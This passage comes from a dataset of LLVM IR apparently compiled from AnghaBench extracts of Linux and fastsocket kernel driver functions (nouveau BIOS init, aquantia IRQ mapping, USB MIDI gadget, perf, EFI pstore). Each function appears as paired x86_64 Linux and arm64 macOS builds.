declare i32 @trace(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @init_wr32(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 8}
!6 = !{!"nvbios_init", !7, i64 0, !10, i64 8}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/gpu/drm/nouveau/core/subdev/bios/extr_init.c_init_zm_reg.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/gpu/drm/nouveau/core/subdev/bios/extr_init.c_init_zm_reg.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [27 x i8] c"ZM_REG\09R[0x%06x] = 0x%08x\0A\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @init_zm_reg], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @init_zm_reg(ptr noundef %0) #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 8
%3 = load ptr, ptr %2, align 8, !tbaa !6
%4 = load i64, ptr %0, align 8, !tbaa !12
%5 = add nsw i64 %4, 1
%6 = tail call i32 @nv_ro32(ptr noundef %3, i64 noundef %5) #2
%7 = load i64, ptr %0, align 8, !tbaa !12
%8 = add nsw i64 %7, 5
%9 = tail call i32 @nv_ro32(ptr noundef %3, i64 noundef %8) #2
%10 = tail call i32 @trace(ptr noundef nonnull @.str, i32 noundef %6, i32 noundef %9) #2
%11 = load i64, ptr %0, align 8, !tbaa !12
%12 = add nsw i64 %11, 9
store i64 %12, ptr %0, align 8, !tbaa !12
%13 = icmp eq i32 %6, 512
%14 = zext i1 %13 to i32
%15 = or i32 %9, %14
%16 = tail call i32 @init_wr32(ptr noundef nonnull %0, i32 noundef %6, i32 noundef %15) #2
ret void
}
declare i32 @nv_ro32(ptr noundef, i64 noundef) local_unnamed_addr #1
declare i32 @trace(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @init_wr32(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 8}
!7 = !{!"nvbios_init", !8, i64 0, !11, i64 8}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!7, !8, i64 0}
| fastsocket_kernel_drivers_gpu_drm_nouveau_core_subdev_bios_extr_init.c_init_zm_reg |
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/aquantia/atlantic/hw_atl/extr_hw_atl_llh.c_hw_atl_itr_irq_map_en_tx_set.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/aquantia/atlantic/hw_atl/extr_hw_atl_llh.c_hw_atl_itr_irq_map_en_tx_set.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_adr = internal unnamed_addr constant [32 x i32] [i32 8448, i32 8448, i32 8452, i32 8452, i32 8456, i32 8456, i32 8460, i32 8460, i32 8464, i32 8464, i32 8468, i32 8468, i32 8472, i32 8472, i32 8476, i32 8476, i32 8480, i32 8480, i32 8484, i32 8484, i32 8488, i32 8488, i32 8492, i32 8492, i32 8496, i32 8496, i32 8500, i32 8500, i32 8504, i32 8504, i32 8508, i32 8508], align 16
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_msk = internal unnamed_addr constant [32 x i32] [i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608], align 16
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_shift = internal unnamed_addr constant [32 x i32] [i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23], align 16
; Function Attrs: nounwind uwtable
define dso_local void @hw_atl_itr_irq_map_en_tx_set(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = sext i32 %2 to i64
%5 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_adr, i64 0, i64 %4
%6 = load i32, ptr %5, align 4, !tbaa !5
%7 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_msk, i64 0, i64 %4
%8 = load i32, ptr %7, align 4, !tbaa !5
%9 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_shift, i64 0, i64 %4
%10 = load i32, ptr %9, align 4, !tbaa !5
%11 = tail call i32 @aq_hw_write_reg_bit(ptr noundef %0, i32 noundef %6, i32 noundef %8, i32 noundef %10, i32 noundef %1) #2
ret void
}
declare i32 @aq_hw_write_reg_bit(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/aquantia/atlantic/hw_atl/extr_hw_atl_llh.c_hw_atl_itr_irq_map_en_tx_set.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/aquantia/atlantic/hw_atl/extr_hw_atl_llh.c_hw_atl_itr_irq_map_en_tx_set.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_adr = internal unnamed_addr constant [32 x i32] [i32 8448, i32 8448, i32 8452, i32 8452, i32 8456, i32 8456, i32 8460, i32 8460, i32 8464, i32 8464, i32 8468, i32 8468, i32 8472, i32 8472, i32 8476, i32 8476, i32 8480, i32 8480, i32 8484, i32 8484, i32 8488, i32 8488, i32 8492, i32 8492, i32 8496, i32 8496, i32 8500, i32 8500, i32 8504, i32 8504, i32 8508, i32 8508], align 4
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_msk = internal unnamed_addr constant [32 x i32] [i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608, i32 -2147483648, i32 8388608], align 4
@hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_shift = internal unnamed_addr constant [32 x i32] [i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23, i32 31, i32 23], align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @hw_atl_itr_irq_map_en_tx_set(ptr noundef %0, i32 noundef %1, i32 noundef %2) local_unnamed_addr #0 {
%4 = sext i32 %2 to i64
%5 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_adr, i64 0, i64 %4
%6 = load i32, ptr %5, align 4, !tbaa !6
%7 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_msk, i64 0, i64 %4
%8 = load i32, ptr %7, align 4, !tbaa !6
%9 = getelementptr inbounds [32 x i32], ptr @hw_atl_itr_irq_map_en_tx_set.itr_imr_txten_shift, i64 0, i64 %4
%10 = load i32, ptr %9, align 4, !tbaa !6
%11 = tail call i32 @aq_hw_write_reg_bit(ptr noundef %0, i32 noundef %6, i32 noundef %8, i32 noundef %10, i32 noundef %1) #2
ret void
}
declare i32 @aq_hw_write_reg_bit(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| linux_drivers_net_ethernet_aquantia_atlantic_hw_atl_extr_hw_atl_llh.c_hw_atl_itr_irq_map_en_tx_set |
; ModuleID = 'AnghaBench/linux/drivers/usb/gadget/function/extr_f_midi.c_f_midi_drop_out_substreams.c'
source_filename = "AnghaBench/linux/drivers/usb/gadget/function/extr_f_midi.c_f_midi_drop_out_substreams.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.f_midi = type { i32, ptr }
%struct.gmidi_in_port = type { i64, ptr }
@llvm.compiler.used = appending global [1 x ptr] [ptr @f_midi_drop_out_substreams], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @f_midi_drop_out_substreams(ptr nocapture noundef readonly %0) #0 {
%2 = load i32, ptr %0, align 8, !tbaa !5
%3 = icmp eq i32 %2, 0
br i1 %3, label %25, label %4
4: ; preds = %1
%5 = getelementptr inbounds %struct.f_midi, ptr %0, i64 0, i32 1
br label %6
6: ; preds = %4, %20
%7 = phi i32 [ %2, %4 ], [ %21, %20 ]
%8 = phi i64 [ 0, %4 ], [ %22, %20 ]
%9 = load ptr, ptr %5, align 8, !tbaa !11
%10 = getelementptr inbounds %struct.gmidi_in_port, ptr %9, i64 %8
%11 = getelementptr inbounds %struct.gmidi_in_port, ptr %9, i64 %8, i32 1
%12 = load ptr, ptr %11, align 8, !tbaa !12
%13 = load i64, ptr %10, align 8, !tbaa !15
%14 = icmp ne i64 %13, 0
%15 = icmp ne ptr %12, null
%16 = select i1 %14, i1 %15, i1 false
br i1 %16, label %17, label %20
17: ; preds = %6
%18 = tail call i32 @snd_rawmidi_drop_output(ptr noundef nonnull %12) #2
%19 = load i32, ptr %0, align 8, !tbaa !5
br label %20
20: ; preds = %17, %6
%21 = phi i32 [ %19, %17 ], [ %7, %6 ]
%22 = add nuw nsw i64 %8, 1
%23 = zext i32 %21 to i64
%24 = icmp ult i64 %22, %23
br i1 %24, label %6, label %25, !llvm.loop !16
25: ; preds = %20, %1
ret void
}
declare i32 @snd_rawmidi_drop_output(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 0}
!6 = !{!"f_midi", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"any pointer", !8, i64 0}
!11 = !{!6, !10, i64 8}
!12 = !{!13, !10, i64 8}
!13 = !{!"gmidi_in_port", !14, i64 0, !10, i64 8}
!14 = !{!"long", !8, i64 0}
!15 = !{!13, !14, i64 0}
!16 = distinct !{!16, !17}
!17 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = 'AnghaBench/linux/drivers/usb/gadget/function/extr_f_midi.c_f_midi_drop_out_substreams.c'
source_filename = "AnghaBench/linux/drivers/usb/gadget/function/extr_f_midi.c_f_midi_drop_out_substreams.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.gmidi_in_port = type { i64, ptr }
@llvm.used = appending global [1 x ptr] [ptr @f_midi_drop_out_substreams], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @f_midi_drop_out_substreams(ptr nocapture noundef readonly %0) #0 {
%2 = load i32, ptr %0, align 8, !tbaa !6
%3 = icmp eq i32 %2, 0
br i1 %3, label %25, label %4
4: ; preds = %1
%5 = getelementptr inbounds i8, ptr %0, i64 8
br label %6
6: ; preds = %4, %20
%7 = phi i32 [ %2, %4 ], [ %21, %20 ]
%8 = phi i64 [ 0, %4 ], [ %22, %20 ]
%9 = load ptr, ptr %5, align 8, !tbaa !12
%10 = getelementptr inbounds %struct.gmidi_in_port, ptr %9, i64 %8
%11 = getelementptr inbounds i8, ptr %10, i64 8
%12 = load ptr, ptr %11, align 8, !tbaa !13
%13 = load i64, ptr %10, align 8, !tbaa !16
%14 = icmp ne i64 %13, 0
%15 = icmp ne ptr %12, null
%16 = select i1 %14, i1 %15, i1 false
br i1 %16, label %17, label %20
17: ; preds = %6
%18 = tail call i32 @snd_rawmidi_drop_output(ptr noundef nonnull %12) #2
%19 = load i32, ptr %0, align 8, !tbaa !6
br label %20
20: ; preds = %17, %6
%21 = phi i32 [ %19, %17 ], [ %7, %6 ]
%22 = add nuw nsw i64 %8, 1
%23 = zext i32 %21 to i64
%24 = icmp ult i64 %22, %23
br i1 %24, label %6, label %25, !llvm.loop !17
25: ; preds = %20, %1
ret void
}
declare i32 @snd_rawmidi_drop_output(ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 0}
!7 = !{!"f_midi", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"any pointer", !9, i64 0}
!12 = !{!7, !11, i64 8}
!13 = !{!14, !11, i64 8}
!14 = !{!"gmidi_in_port", !15, i64 0, !11, i64 8}
!15 = !{!"long", !9, i64 0}
!16 = !{!14, !15, i64 0}
!17 = distinct !{!17, !18}
!18 = !{!"llvm.loop.mustprogress"}
| linux_drivers_usb_gadget_function_extr_f_midi.c_f_midi_drop_out_substreams |
; ModuleID = 'AnghaBench/fastsocket/kernel/tools/perf/arch/extr_..util..utiltarget.h_perf_target__has_cpu.c'
source_filename = "AnghaBench/fastsocket/kernel/tools/perf/arch/extr_..util..utiltarget.h_perf_target__has_cpu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.perf_target = type { i64, i64 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @perf_target__has_cpu], section "llvm.metadata"
; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: read) uwtable
define internal i32 @perf_target__has_cpu(ptr nocapture noundef readonly %0) #0 {
%2 = getelementptr inbounds %struct.perf_target, ptr %0, i64 0, i32 1
%3 = load i64, ptr %2, align 8, !tbaa !5
%4 = icmp eq i64 %3, 0
br i1 %4, label %5, label %9
5: ; preds = %1
%6 = load i64, ptr %0, align 8, !tbaa !10
%7 = icmp ne i64 %6, 0
%8 = zext i1 %7 to i32
br label %9
9: ; preds = %5, %1
%10 = phi i32 [ 1, %1 ], [ %8, %5 ]
ret i32 %10
}
attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(argmem: read) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 8}
!6 = !{!"perf_target", !7, i64 0, !7, i64 8}
!7 = !{!"long", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/tools/perf/arch/extr_..util..utiltarget.h_perf_target__has_cpu.c'
source_filename = "AnghaBench/fastsocket/kernel/tools/perf/arch/extr_..util..utiltarget.h_perf_target__has_cpu.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @perf_target__has_cpu], section "llvm.metadata"
; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: read) uwtable(sync)
define internal range(i32 0, 2) i32 @perf_target__has_cpu(ptr nocapture noundef readonly %0) #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 8
%3 = load i64, ptr %2, align 8, !tbaa !6
%4 = icmp eq i64 %3, 0
br i1 %4, label %5, label %9
5: ; preds = %1
%6 = load i64, ptr %0, align 8, !tbaa !11
%7 = icmp ne i64 %6, 0
%8 = zext i1 %7 to i32
br label %9
9: ; preds = %5, %1
%10 = phi i32 [ 1, %1 ], [ %8, %5 ]
ret i32 %10
}
attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(argmem: read) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 8}
!7 = !{!"perf_target", !8, i64 0, !8, i64 8}
!8 = !{!"long", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 0}
| fastsocket_kernel_tools_perf_arch_extr_..util..utiltarget.h_perf_target__has_cpu |
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/firmware/extr_efivars.c_efi_pstore_erase.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/firmware/extr_efivars.c_efi_pstore_erase.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @efi_pstore_erase], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable
define internal noundef i32 @efi_pstore_erase(i32 %0, i32 %1, i32 %2, i32 %3, ptr nocapture readnone %4) #0 {
ret i32 0
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/firmware/extr_efivars.c_efi_pstore_erase.c'
source_filename = "AnghaBench/fastsocket/kernel/drivers/firmware/extr_efivars.c_efi_pstore_erase.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @efi_pstore_erase], section "llvm.metadata"
; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync)
define internal noundef i32 @efi_pstore_erase(i32 %0, i32 %1, i32 %2, i64 %3, ptr nocapture readnone %4) #0 {
ret i32 0
}
attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
